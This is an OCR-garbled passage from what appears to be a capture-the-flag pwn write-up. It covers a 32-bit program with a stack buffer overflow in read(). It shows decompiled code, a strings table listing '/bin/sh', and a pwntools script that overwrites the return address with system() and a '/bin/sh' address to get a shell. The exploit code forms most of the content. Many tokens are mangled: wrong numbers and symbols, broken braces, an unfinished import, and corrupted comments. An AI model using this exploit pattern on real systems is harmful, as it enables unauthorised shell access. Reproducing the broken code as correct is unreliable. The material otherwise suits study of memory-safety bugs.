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int _ cdecl main(int argc, const char **argv, const char **envp)

{

vulnerable function();
system("echo 'Hello World!'"});
return 9;

h
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vulnerable function() :

ssize t vulnerable function()

{
char buf; // [esp+8h] [ebp-88h]

system("echo Input:");
return read(@, &buf, Bx108u);

h
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e return read(@, &buf, 0x100u); : [1|ZF 5 buf 15 AOx100K: JZ 1) £,

e system("echo Input:"); : {7 system() p&#yn] DL
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Address Length Type String

5] LOAD:020- 00000013  C /1ib/ld-linug. so. 2

Eﬂ LOAD : QR0 00000004 C libc. so. B

Eﬂ LOAD : Q20-=- 0Q000000F C _I0_stdin_used

Eﬂ LOAD : QR0 00000005 C read

Eﬂ LOAD : QB0-=- 00000007 C System

Eﬂ LOAD : 080=- Q0000012 C __libe _start_main

Eﬂ LOAD: Q30 Q000000F [ __Emorn_start__

Eﬂ LOAD : QR0 00000004 C GLIEBC_2.0

‘s’ Lrodata:s 0000000C C echo Input:

s .rodata: = 00000014 C eche "Hello World!
C 2P

‘s’ . = 00000005

/hindsh

o RIA /bin/sh
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o Il Heiii i Bk A system@PLT
* system 244 - /bin/sh

e getshell
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from pwn import

r = process(
elf = ELF(

sys_addr = elf.symbols|
bin_sh_addr = 0x0804A024

A5 B buf #1755 ebp Ox88, TRAEFRHEH

payload = b (0x88 + 4) p32(sys_addr) 4 + p32(bin_sh_addr)
r.sendline(payload)

r.interactive()
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